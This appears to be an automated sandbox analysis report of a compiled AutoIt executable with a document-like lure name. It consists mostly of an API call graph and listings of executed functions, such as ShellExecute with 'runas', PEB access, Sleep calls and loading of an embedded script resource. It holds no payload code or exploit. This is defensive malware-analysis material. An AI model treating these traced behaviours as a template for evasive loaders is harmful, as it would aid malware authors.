CreateFileW 100731->100734 100732->100733 100733->100637 100734->100733 100735 dbe1ad 100734->100735 100736 d85c4e 2 API calls 100735->100736 100737 dbe1b8 100736->100737 100737->100733 100739 d8578b 100738->100739 100740 dbdfce 100738->100740 100741 d85c4e 2 API calls 100739->100741 100754 d8581a 100739->100754 100740->100754 100757 d85e3f 100740->100757 100742 d857ad 100741->100742 100743 d8538e 59 API calls 100742->100743 100745 d857b7 100743->100745 100745->100740 100746 d857c4 100745->100746 100747 da0ff6 Mailbox 59 API calls 100746->100747 100748 d857cf 100747->100748 100749 d8538e 59 API calls 100748->100749 100750 d857da 100749->100750 100751 d85d20 2 API calls 100750->100751 100752 d85807 100751->100752 100753 d85c4e 2 API calls 100752->100753 100753->100754 100754->100639 100755->100643 100756->100645 100758 d85c4e 2 API calls 100757->100758 100759 d85e60 100758->100759 100760 d85c4e 2 API calls 100759->100760 100761 d85e74 100760->100761 100761->100754 100762->100653 100763->100654 100765 d879ba 100764->100765 100766 d87a17 100764->100766 100765->100766 100767 d879c5 100765->100767 100768 d87e8c 59 API calls 100766->100768 100769 d879e0 100767->100769 100770 dbef32 100767->100770 100774 d879e8 _memmove 100768->100774 100778 d88087 59 API calls Mailbox 100769->100778 100771 d88189 59 API calls 100770->100771 100773 dbef3c 100771->100773 100775 da0ff6 Mailbox 59 API calls 100773->100775 100774->100681 100776 dbef5c 100775->100776 100777->100702 100778->100774 100780 d86ef5 100779->100780 100785 d87009 100779->100785 100781 da0ff6 Mailbox 59 API calls 100780->100781 100780->100785 100782 d86f1c 100781->100782 100783 da0ff6 Mailbox 59 API calls 100782->100783 100789 d86f91 100783->100789 100785->99403 100787 d874bd 59 API calls 100787->100789 100788 d8766f 59 API calls 100788->100789 100789->100785 100789->100787 100789->100788 100792 d863a0 100789->100792 100817 dd6ac9 59 API calls Mailbox 100789->100817 100790->99406 100791->99408 100818 d87b76 100792->100818 100812 d863c5 100817->100789 100819 da0ff6 Mailbox 59 API calls 100818->100819 100820 d87b9b 100819->100820 100821 d88189 59 API calls 100820->100821 100822 d87baa 100821->100822 100822->100812 100829->99421 100830->99422 101331 dc0226 101333 d8ade2 Mailbox 101331->101333 101334 dc0c86 101333->101334 101336 dc0c8f 101333->101336 101338 dc00e0 VariantClear 101333->101338 101339 d8b6c1 101333->101339 101345 d92123 101333->101345 101385 df474d 101333->101385 101394 ded2e6 101333->101394 101441 dfe237 101333->101441 101444 d89df0 59 API calls Mailbox 101333->101444 101445 dd7405 59 API calls 101333->101445 101447 dd66f4 101334->101447 101338->101333 101446 dea0b5 89 API calls 4 library calls 101339->101446 101450 d89bf8 101345->101450 101349 da0ff6 Mailbox 59 API calls 101350 d92154 101349->101350 101352 d92164 101350->101352 101478 d85906 60 API calls Mailbox 101350->101478 101351 d92189 101356 d89c9c 59 API calls 101351->101356 101361 d92196 101351->101361 101354 d89997 84 API calls 101352->101354 101357 d92172 101354->101357 101355 dc69af 101355->101351 101482 def7df 59 API calls 101355->101482 101358 dc69f7 101356->101358 101359 d85956 67 API calls 101357->101359 101360 dc69ff 101358->101360 101358->101361 101362 d92181 101359->101362 101364 d89c9c 59 API calls 101360->101364 101363 d85e3f 2 API calls 101361->101363 101362->101351 101362->101355 101481 d85a1a CloseHandle 101362->101481 101366 d9219d 101363->101366 101364->101366 101367 dc6a11 101366->101367 101368 d921b7 101366->101368 101370 da0ff6 Mailbox 59 API calls 101367->101370 101369 d877c7 59 API calls 101368->101369 101371 d921bf 101369->101371 101372 dc6a17 101370->101372 101463 d856d2 101371->101463 101374 dc6a2b 101372->101374 101483 d859b0 ReadFile SetFilePointerEx 101372->101483 101379 dc6a2f _memmove 101374->101379 101484 de794e 59 API calls 2 library calls 101374->101484 101377 d921ce 101377->101379 101479 d89b9c 59 API calls Mailbox 101377->101479 101380 d921e2 Mailbox 101381 d9221c 101380->101381 101382 d85dcf CloseHandle 101380->101382 101381->101333 101383 d92210 101382->101383 101383->101381 101480 d85a1a CloseHandle 101383->101480 101386 d89997 84 API calls 101385->101386 101387 df4787 101386->101387 101388 d863a0 94 API calls 101387->101388 101389 df4797 101388->101389 101390 df47bc 101389->101390 101391 d8a000 341 API calls 101389->101391 101392 d89bf8 59 API calls 101390->101392 101393 df47c0 101390->101393 101391->101390 101392->101393 101393->101333 101395 ded310 101394->101395 101396 ded305 101394->101396 101397 ded3ea Mailbox 101395->101397 101400 d877c7 59 API calls 101395->101400 101398 d89c9c 59 API calls 101396->101398 101399 da0ff6 Mailbox 59 API calls 101397->101399 101438 ded3f3 Mailbox 101397->101438 101398->101395 101401 ded433 101399->101401 101402 ded334 101400->101402 101403 ded43f 101401->101403 101489 d85906 60 API calls Mailbox 101401->101489 101404 d877c7 59 API calls 101402->101404 101406 d89997 84 API calls 101403->101406 101407 ded33d 101404->101407 101408 ded457 101406->101408 101409 d89997 84 API calls 101407->101409 101410 d85956 67 API calls 101408->101410 101411 ded349 101409->101411 101412 ded466 101410->101412 101413 d846f9 59 API calls 101411->101413 101414 ded49e 101412->101414 101415 ded46a GetLastError 101412->101415 101416 ded35e 101413->101416 101419 ded4c9 101414->101419 101420 ded500 101414->101420 101417 ded483 101415->101417 101418 d87c8e 59 API calls 101416->101418 101417->101438 101490 d85a1a CloseHandle 101417->101490 101421 ded391 101418->101421 101422 da0ff6 Mailbox 59 API calls 101419->101422 101424 da0ff6 Mailbox 59 API calls 101420->101424 101423 ded3e3 101421->101423 101429 de3e73 3 API calls 101421->101429 101426 ded4ce 101422->101426 101428 d89c9c 59 API calls 101423->101428 101425 ded505 101424->101425 101432 d877c7 59 API calls 101425->101432 101425->101438 101430 ded4df 101426->101430 101433 d877c7 59 API calls 101426->101433 101428->101397 101431 ded3a1 101429->101431 101491 def835 59 API calls 2 library calls 101430->101491 101431->101423 101434 ded3a5 101431->101434 101432->101438 101433->101430 101435 d87f41 59 API calls 101434->101435 101437 ded3b2 101435->101437 101488 de3c66 63 API calls Mailbox 101437->101488 101438->101333 101440 ded3bb Mailbox 101440->101423 101442 dfcdf1 130 API calls 101441->101442 101443 dfe247 101442->101443 101443->101333 101444->101333 101445->101333 101446->101334 101492 dd6636 101447->101492 101449 dd6702 101449->101336 101451 dbfbff 101450->101451 101452 d89c08 101450->101452 101453 d87d2c 59 API calls 101451->101453 101457 dbfc10 101451->101457 101456 da0ff6 Mailbox 59 API calls 101452->101456 101453->101457 101454 d87eec 59 API calls 101455 dbfc1a 101454->101455 101460 d89c34 101455->101460 101461 d877c7 59 API calls 101455->101461 101458 d89c1b 101456->101458 101457->101454 101458->101455 101459 d89c26 101458->101459 101459->101460 101462 d87f41 59 API calls 101459->101462 101460->101349 101460->101355 101461->101460 101462->101460 101464 d856dd 101463->101464 101465 d85702 101463->101465 101464->101465 101470 d856ec 101464->101470 101466 d87eec 59 API calls 101465->101466 101469 de349a 101466->101469 101467 de34c9 101467->101377 101469->101467 101485 de3436 ReadFile SetFilePointerEx 101469->101485 101486 d87a84 59 API calls 2 library calls 101469->101486 101471 d85c18 59 API calls 101470->101471 101473 de35ba 101471->101473 101474 d85632 61 API calls 101473->101474 101475 de35c8 101474->101475 101477 de35d8 Mailbox 101475->101477 101487 d8793a 61 API calls Mailbox 101475->101487 101477->101377 101478->101352 101479->101380 101480->101381 101481->101355 101482->101355 101483->101374 101484->101379 101485->101469 101486->101469 101487->101477 101488->101440 101489->101403 101490->101438 101491->101438 101493 dd665e 101492->101493 101494 dd6641 101492->101494 101493->101449 101494->101493 101496 dd6621 59 API calls Mailbox 101494->101496 101496->101494 101497 d83633 101498 d8366a 101497->101498 101499 d83688 101498->101499 101500 d836e7 101498->101500 101536 d836e5 101498->101536 101504 d8375d PostQuitMessage 101499->101504 101505 d83695 101499->101505 101502 d836ed 101500->101502 101503 dbd31c 101500->101503 101501 d836ca DefWindowProcW 101539 d836d8 101501->101539 101506 d836f2 101502->101506 101507 d83715 SetTimer RegisterWindowMessageW 101502->101507 101547 d911d0 10 API calls Mailbox 101503->101547 101504->101539 101508 dbd38f 101505->101508 101509 d836a0 101505->101509 101511 d836f9 KillTimer 101506->101511 101512 dbd2bf 101506->101512 101513 d8373e CreatePopupMenu 101507->101513 101507->101539 101551 de2a16 71 API calls _memset 101508->101551 101514 d836a8 101509->101514 101515 d83767 101509->101515 101542 d844cb Shell_NotifyIconW _memset 101511->101542 101519 dbd2f8 MoveWindow 101512->101519 101520 dbd2c4 101512->101520 101513->101539 101522 d836b3 101514->101522 101523 dbd374 101514->101523 101545 d84531 64 API calls _memset 101515->101545 101517 dbd343 101548 d911f3 341 API calls Mailbox 101517->101548 101519->101539 101526 dbd2c8 101520->101526 101527 dbd2e7 SetFocus 101520->101527 101529 d8374b 101522->101529 101534 d836be 101522->101534 101523->101501 101550 dd817e 59 API calls Mailbox 101523->101550 101524 dbd3a1 101524->101501 101524->101539 101530 dbd2d1 101526->101530 101526->101534 101527->101539 101528 d8370c 101543 d83114 DeleteObject DestroyWindow Mailbox 101528->101543 101544 d845df 81 API calls _memset 101529->101544 101546 d911d0 10 API calls Mailbox 101530->101546 101534->101501 101549 d844cb Shell_NotifyIconW _memset 101534->101549 101536->101501 101537 d8375b 101537->101539 101540 dbd368 101541 d843db 68 API calls 101540->101541 101541->101536 101542->101528 101543->101539 101544->101537 101545->101537 101546->101539 101547->101517 101548->101534 101549->101540 101550->101536 101551->101524 101552 18c23b0 101566 18c0000 101552->101566 101554 18c2447 101569 18c22a0 101554->101569 101572 18c3470 GetPEB 101566->101572 101568 18c068b 101568->101554 101570 18c22a9 Sleep 101569->101570 101571 18c22b7 101570->101571 101573 18c349a 101572->101573 101573->101568 101574 d81055 101579 d82649 101574->101579 101577 da2f80 __cinit 67 API calls 101578 d81064 101577->101578 101580 d877c7 59 API calls 101579->101580 101581 d826b7 101580->101581 101586 d83582 101581->101586 101584 d82754 101585 d8105a 101584->101585 101589 d83416 59 API calls 2 library calls 101584->101589 101585->101577 101590 d835b0 101586->101590 101589->101584 101591 d835bd 101590->101591 101592 d835a1 101590->101592 101591->101592 101593 d835c4 RegOpenKeyExW 101591->101593 101592->101584 101593->101592 101594 d835de RegQueryValueExW 101593->101594 101595 d835ff 101594->101595 101596 d83614 RegCloseKey 101594->101596 101595->101596 101596->101592 101597 dbff06 101598 dbff10 101597->101598 101611 d8ac90 Mailbox _memmove 101597->101611 101696 d88e34 59 API calls Mailbox 101598->101696 101600 da0ff6 59 API calls Mailbox 101600->101611 101604 d8b5d5 101612 d881a7 59 API calls 101604->101612 101605 d8a6ba 101704 dea0b5 89 API calls 4 library calls 101605->101704 101608 da0ff6 59 API calls Mailbox 101623 d8a097 Mailbox 101608->101623 101609 d8a1b7 101611->101600 101611->101609 101615 d87f41 59 API calls 101611->101615 101620 d8b685 101611->101620 101611->101623 101629 dfbf80 341 API calls 101611->101629 101630 dd66f4 Mailbox 59 API calls 101611->101630 101631 d8b416 101611->101631 101633 d8a000 341 API calls 101611->101633 101634 dc0c94 101611->101634 101636 dc0ca2 101611->101636 101639 d8b37c 101611->101639 101646 d8ade2 Mailbox 101611->101646 101652 dfc5f4 101611->101652 101684 de7be0 101611->101684 101697 dd7405 59 API calls 101611->101697 101698 dfc4a7 85 API calls 2 library calls 101611->101698 101612->101609 101613 dc047f 101700 dea0b5 89 API calls 4 library calls 101613->101700 101614 d8b5da 101706 dea0b5 89 API calls 4 library calls 101614->101706 101615->101611 101617 d877c7 59 API calls 101617->101623 101619 d881a7 59 API calls 101619->101623 101701 dea0b5 89 API calls 4 library calls 101620->101701 101621 dc048e 101622 dd7405 59 API calls 101622->101623 101623->101604 101623->101605 101623->101608 101623->101609 101623->101613 101623->101614 101623->101617 101623->101619 101623->101622 101625 da2f80 67 API calls __cinit 101623->101625 101627 dc0e00 101623->101627 101690 d8ca20 341 API calls 2 library calls 101623->101690 101691 d8ba60 60 API calls Mailbox 101623->101691 101625->101623 101626 dd66f4 Mailbox 59 API calls 101626->101609 101705 dea0b5 89 API calls 4 library calls 101627->101705 101629->101611 101630->101611 101695 d8f803 341 API calls 101631->101695 101633->101611 101702 d89df0 59 API calls Mailbox 101634->101702 101703 dea0b5 89 API calls 4 library calls 101636->101703 101638 dc0c86 101638->101609 101638->101626 101693 d89e9c 60 API calls Mailbox 101639->101693 101641 d8b38d 101694 d89e9c 60 API calls Mailbox 101641->101694 101646->101609 101646->101620 101646->101638 101647 dc00e0 VariantClear 101646->101647 101648 df474d 341 API calls 101646->101648 101649 ded2e6 101 API calls 101646->101649 101650 dfe237 130 API calls 101646->101650 101651 d92123 95 API calls 101646->101651 101692 d89df0 59 API calls Mailbox 101646->101692 101699 dd7405 59 API calls 101646->101699 101647->101646 101648->101646 101649->101646 101650->101646 101651->101646 101653 d877c7 59 API calls 101652->101653 101654 dfc608 101653->101654 101655 d877c7 59 API calls 101654->101655 101656 dfc610 101655->101656 101657 d877c7 59 API calls 101656->101657 101658 dfc618 101657->101658 101659 d89997 84 API calls 101658->101659 101672 dfc626 101659->101672 101660 d87d2c 59 API calls 101660->101672 101661 dfc83c Mailbox 101661->101611 101662 dfc7f6 101664 d87e0b 59 API calls 101662->101664 101668 dfc803 101664->101668 101665 d87a84 59 API calls 101665->101672 101666 dfc811 101669 d87e0b 59 API calls 101666->101669 101667 d881a7 59 API calls 101667->101672 101670 d87c8e 59 API calls 101668->101670 101671 dfc820 101669->101671 101674 dfc80f 101670->101674 101675 d87c8e 59 API calls 101671->101675 101672->101660 101672->101661 101672->101662 101672->101665 101672->101666 101672->101667 101673 d87faf 59 API calls 101672->101673 101672->101674 101676 d87faf 59 API calls 101672->101676 101681 d89997 84 API calls 101672->101681 101682 d87e0b 59 API calls 101672->101682 101683 d87c8e 59 API calls 101672->101683 101677 dfc6bd CharUpperBuffW 101673->101677 101674->101661 101709 d89b9c 59 API calls Mailbox 101674->101709 101675->101674 101679 dfc77d CharUpperBuffW 101676->101679 101707 d8859a 68 API calls 101677->101707 101708 d8c707 69 API calls 2 library calls 101679->101708 101681->101672 101682->101672 101683->101672 101685 de7bec 101684->101685 101686 da0ff6 Mailbox 59 API calls 101685->101686 101687 de7bfa 101686->101687 101688 de7c08 101687->101688 101689 d877c7 59 API calls 101687->101689 101688->101611 101689->101688 101690->101623 101691->101623 101692->101646 101693->101641 101694->101631 101695->101620 101696->101611 101697->101611 101698->101611 101699->101646 101700->101621 101701->101638 101702->101638 101703->101638 101704->101609 101705->101614 101706->101609 101707->101672 101708->101672 101709->101661 101710 d81066 101715 d8f8cf 101710->101715 101712 d8106c 101713 da2f80 __cinit 67 API calls 101712->101713 101714 d81076 101713->101714 101716 d8f8f0 101715->101716 101748 da0143 101716->101748 101720 d8f937 101721 d877c7 59 API calls 101720->101721 101722 d8f941 101721->101722 101723 d877c7 59 API calls 101722->101723 101724 d8f94b 101723->101724 101725 d877c7 59 API calls 101724->101725 101726 d8f955 101725->101726 101727 d877c7 59 API calls 101726->101727 101728 d8f993 101727->101728 101729 d877c7 59 API calls 101728->101729 101730 d8fa5e 101729->101730 101758 d960e7 101730->101758 101734 d8fa90 101735 d877c7 59 API calls 101734->101735 101736 d8fa9a 101735->101736 101786 d9ffde 101736->101786 101738 d8fae1 101739 d8faf1 GetStdHandle 101738->101739 101740 d8fb3d 101739->101740 101741 dc49d5 101739->101741 101742 d8fb45 OleInitialize 101740->101742 101741->101740 101743 dc49de 101741->101743 101742->101712 101793 de6dda 64 API calls Mailbox 101743->101793 101745 dc49e5 101794 de74a9 CreateThread 101745->101794 101747 dc49f1 CloseHandle 101747->101742 101795 da021c 101748->101795 101751 da021c 59 API calls 101752 da0185 101751->101752 101753 d877c7 59 API calls 101752->101753 101754 da0191 101753->101754 101755 d87d2c 59 API calls 101754->101755 101756 d8f8f6 101755->101756 101757 da03a2 6 API calls 101756->101757 101757->101720 101759 d877c7 59 API calls 101758->101759 101760 d960f7 101759->101760 101761 d877c7 59 API calls 101760->101761 101762 d960ff 101761->101762 101802 d95bfd 101762->101802 101765 d95bfd 59 API calls 101766 d9610f 101765->101766 101767 d877c7 59 API calls 101766->101767 101768 d9611a 101767->101768 101769 da0ff6 Mailbox 59 API calls 101768->101769 101770 d8fa68 101769->101770 101771 d96259 101770->101771 101772 d96267 101771->101772 101773 d877c7 59 API calls 101772->101773 101774 d96272 101773->101774 101775 d877c7 59 API calls 101774->101775 101776 d9627d 101775->101776 101777 d877c7 59 API calls 101776->101777 101778 d96288 101777->101778 101779 d877c7 59 API calls 101778->101779 101780 d96293 101779->101780 101781 d95bfd 59 API calls 101780->101781 101782 d9629e 101781->101782 101783 da0ff6 Mailbox 59 API calls 101782->101783 101784 d962a5 RegisterWindowMessageW 101783->101784 101784->101734 101787 d9ffee 101786->101787 101788 dd5cc3 101786->101788 101790 da0ff6 Mailbox 59 API calls 101787->101790 101805 de9d71 60 API calls 101788->101805 101792 d9fff6 101790->101792 101791 dd5cce 101792->101738 101793->101745 101794->101747 101806 de748f 65 API calls 101794->101806 101796 d877c7 59 API calls 101795->101796 101797 da0227 101796->101797 101798 d877c7 59 API calls 101797->101798 101799 da022f 101798->101799 101800 d877c7 59 API calls 101799->101800 101801 da017b 101800->101801 101801->101751 101803 d877c7 59 API calls 101802->101803 101804 d95c05 101803->101804 101804->101765 101805->101791 101807 d81016 101812 d84ad2 101807->101812 101810 da2f80 __cinit 67 API calls 101811 d81025 101810->101811 101813 da0ff6 Mailbox 59 API calls 101812->101813 101814 d84ada 101813->101814 101815 d8101b 101814->101815 101819 d84a94 101814->101819 101815->101810 101820 d84a9d 101819->101820 101821 d84aaf 101819->101821 101822 da2f80 __cinit 67 API calls 101820->101822 101823 d84afe 101821->101823 101822->101821 101824 d877c7 59 API calls 101823->101824 101825 d84b16 GetVersionExW 101824->101825 101826 d87d2c 59 API calls 101825->101826 101827 d84b59 101826->101827 101828 d87e8c 59 API calls 101827->101828 101833 d84b86 101827->101833 101829 d84b7a 101828->101829 101830 d87886 59 API calls 101829->101830 101830->101833 101831 d84bf1 GetCurrentProcess IsWow64Process 101832 d84c0a 101831->101832 101835 d84c89 GetSystemInfo 101832->101835 101836 d84c20 101832->101836 101833->101831 101834 dbdc8d 101833->101834 101837 d84c56 101835->101837 101847 d84c95 101836->101847 101837->101815 101840 d84c7d GetSystemInfo 101843 d84c47 101840->101843 101841 d84c32 101842 d84c95 2 API calls 101841->101842 101844 d84c3a GetNativeSystemInfo 101842->101844 101843->101837 101845 d84c4d FreeLibrary 101843->101845 101844->101843 101845->101837 101848 d84c2e 101847->101848 101849 d84c9e LoadLibraryA 101847->101849 101848->101840 101848->101841 101849->101848 101850 d84caf GetProcAddress 101849->101850 101850->101848

                                                Executed Functions

                                                Function 00D83B4C Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153windowCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00D83B7A
                                                • IsDebuggerPresent.KERNEL32 ref: 00D83B8C
                                                • GetFullPathNameW.KERNEL32(00007FFF,?,?,00E462F8,00E462E0,?,?), ref: 00D83BFD
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                  • Part of subcall function 00D90A8D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00D83C26,00E462F8,?,?,?), ref: 00D90ACE
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D83C81
                                                • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00E393F0,00000010), ref: 00DBD4BC
                                                • SetCurrentDirectoryW.KERNEL32(?,00E462F8,?,?,?), ref: 00DBD4F4
                                                • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00E35D40,00E462F8,?,?,?), ref: 00DBD57A
                                                • ShellExecuteW.SHELL32(00000000,?,?), ref: 00DBD581
                                                  • Part of subcall function 00D83A58: GetSysColorBrush.USER32(0000000F), ref: 00D83A62
                                                  • Part of subcall function 00D83A58: LoadCursorW.USER32(00000000,00007F00), ref: 00D83A71
                                                  • Part of subcall function 00D83A58: LoadIconW.USER32(00000063), ref: 00D83A88
                                                  • Part of subcall function 00D83A58: LoadIconW.USER32(000000A4), ref: 00D83A9A
                                                  • Part of subcall function 00D83A58: LoadIconW.USER32(000000A2), ref: 00D83AAC
                                                  • Part of subcall function 00D83A58: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00D83AD2
                                                  • Part of subcall function 00D83A58: RegisterClassExW.USER32(?), ref: 00D83B28
                                                  • Part of subcall function 00D839E7: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00D83A15
                                                  • Part of subcall function 00D839E7: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00D83A36
                                                  • Part of subcall function 00D839E7: ShowWindow.USER32(00000000,?,?), ref: 00D83A4A
                                                  • Part of subcall function 00D839E7: ShowWindow.USER32(00000000,?,?), ref: 00D83A53
                                                  • Part of subcall function 00D843DB: _memset.LIBCMT ref: 00D84401
                                                  • Part of subcall function 00D843DB: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00D844A6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
                                                • String ID: This is a third-party compiled AutoIt script.$runas$%
                                                • API String ID: 529118366-3343222573
                                                • Opcode ID: 2a54c12ba9aca5e101c9cfbeb2fcb7fee79282d79a635492b4a9b1d54cc99877
                                                • Instruction ID: d14c8e4c061ff07abbb25460b3e33ca3adbd903a8a49fd01813a1a4bf40b7443
                                                • Opcode Fuzzy Hash: 2a54c12ba9aca5e101c9cfbeb2fcb7fee79282d79a635492b4a9b1d54cc99877
                                                • Instruction Fuzzy Hash: 3851F474A04249BFCF11BBB5EC06EED7B79EB46B00F044065F455721A2DAB08A4ACB36
                                                Function 00D84AFE Relevance: 10.7, APIs: 7, Instructions: 223COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1037 d84afe-d84b5e call d877c7 GetVersionExW call d87d2c 1042 d84c69-d84c6b 1037->1042 1043 d84b64 1037->1043 1044 dbdb90-dbdb9c 1042->1044 1045 d84b67-d84b6c 1043->1045 1046 dbdb9d-dbdba1 1044->1046 1047 d84c70-d84c71 1045->1047 1048 d84b72 1045->1048 1050 dbdba3 1046->1050 1051 dbdba4-dbdbb0 1046->1051 1049 d84b73-d84baa call d87e8c call d87886 1047->1049 1048->1049 1059 dbdc8d-dbdc90 1049->1059 1060 d84bb0-d84bb1 1049->1060 1050->1051 1051->1046 1053 dbdbb2-dbdbb7 1051->1053 1053->1045 1055 dbdbbd-dbdbc4 1053->1055 1055->1044 1057 dbdbc6 1055->1057 1061 dbdbcb-dbdbce 1057->1061 1062 dbdca9-dbdcad 1059->1062 1063 dbdc92 1059->1063 1060->1061 1064 d84bb7-d84bc2 1060->1064 1065 d84bf1-d84c08 GetCurrentProcess IsWow64Process 1061->1065 1066 dbdbd4-dbdbf2 1061->1066 1071 dbdc98-dbdca1 1062->1071 1072 dbdcaf-dbdcb8 1062->1072 1067 dbdc95 1063->1067 1068 d84bc8-d84bca 1064->1068 1069 dbdc13-dbdc19 1064->1069 1073 d84c0a 1065->1073 1074 d84c0d-d84c1e 1065->1074 1066->1065 1070 dbdbf8-dbdbfe 1066->1070 1067->1071 1075 dbdc2e-dbdc3a 1068->1075 1076 d84bd0-d84bd3 1068->1076 1079 dbdc1b-dbdc1e 1069->1079 1080 dbdc23-dbdc29 1069->1080 1077 dbdc08-dbdc0e 1070->1077 1078 dbdc00-dbdc03 1070->1078 1071->1062 1072->1067 1081 dbdcba-dbdcbd 1072->1081 1073->1074 1082 d84c89-d84c93 GetSystemInfo 1074->1082 1083 d84c20-d84c30 call d84c95 1074->1083 1087 dbdc3c-dbdc3f 1075->1087 1088 dbdc44-dbdc4a 1075->1088 1084 dbdc5a-dbdc5d 1076->1084 1085 d84bd9-d84be8 1076->1085 1077->1065 1078->1065 1079->1065 1080->1065 1081->1071 1086 d84c56-d84c66 1082->1086 1096 d84c7d-d84c87 GetSystemInfo 1083->1096 1097 d84c32-d84c3f call d84c95 1083->1097 1084->1065 1090 dbdc63-dbdc78 1084->1090 1091 dbdc4f-dbdc55 1085->1091 1092 d84bee 1085->1092 1087->1065 1088->1065 1094 dbdc7a-dbdc7d 1090->1094 1095 dbdc82-dbdc88 1090->1095 1091->1065 1092->1065 1094->1065 1095->1065 1099 d84c47-d84c4b 1096->1099 1102 d84c41-d84c45 GetNativeSystemInfo 1097->1102 1103 d84c76-d84c7b 1097->1103 1099->1086 1101 d84c4d-d84c50 FreeLibrary 1099->1101 1101->1086 1102->1099 1103->1102
                                                APIs
                                                • GetVersionExW.KERNEL32(?), ref: 00D84B2B
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                • GetCurrentProcess.KERNEL32(?,00E0FAEC,00000000,00000000,?), ref: 00D84BF8
                                                • IsWow64Process.KERNEL32(00000000), ref: 00D84BFF
                                                • GetNativeSystemInfo.KERNELBASE(00000000), ref: 00D84C45
                                                • FreeLibrary.KERNEL32(00000000), ref: 00D84C50
                                                • GetSystemInfo.KERNEL32(00000000), ref: 00D84C81
                                                • GetSystemInfo.KERNEL32(00000000), ref: 00D84C8D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
                                                • String ID:
                                                • API String ID: 1986165174-0
                                                • Opcode ID: f8ffef360665d1b5fb11ceda9885954079f759660d38b3f998c18702c2aa66d0
                                                • Instruction ID: 3d24a183c37478db6e175f7a40541927412ccf658b29ce4d3e6dd388efb30e05
                                                • Opcode Fuzzy Hash: f8ffef360665d1b5fb11ceda9885954079f759660d38b3f998c18702c2aa66d0
                                                • Instruction Fuzzy Hash: FD91C33154ABC1DEC731EB6884515AAFFE5AF2A300B584D9EE0CB93A41D234F948C779
                                                Function 00D84FE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1104 d84fe9-d85001 CreateStreamOnHGlobal 1105 d85021-d85026 1104->1105 1106 d85003-d8501a FindResourceExW 1104->1106 1107 dbdd5c-dbdd6b LoadResource 1106->1107 1108 d85020 1106->1108 1107->1108 1109 dbdd71-dbdd7f SizeofResource 1107->1109 1108->1105 1109->1108 1110 dbdd85-dbdd90 LockResource 1109->1110 1110->1108 1111 dbdd96-dbddb4 1110->1111 1111->1108
                                                APIs
                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00D84EEE,?,?,00000000,00000000), ref: 00D84FF9
                                                • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00D84EEE,?,?,00000000,00000000), ref: 00D85010
                                                • LoadResource.KERNEL32(?,00000000,?,?,00D84EEE,?,?,00000000,00000000,?,?,?,?,?,?,00D84F8F), ref: 00DBDD60
                                                • SizeofResource.KERNEL32(?,00000000,?,?,00D84EEE,?,?,00000000,00000000,?,?,?,?,?,?,00D84F8F), ref: 00DBDD75
                                                • LockResource.KERNEL32(00D84EEE,?,?,00D84EEE,?,?,00000000,00000000,?,?,?,?,?,?,00D84F8F,00000000), ref: 00DBDD88
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
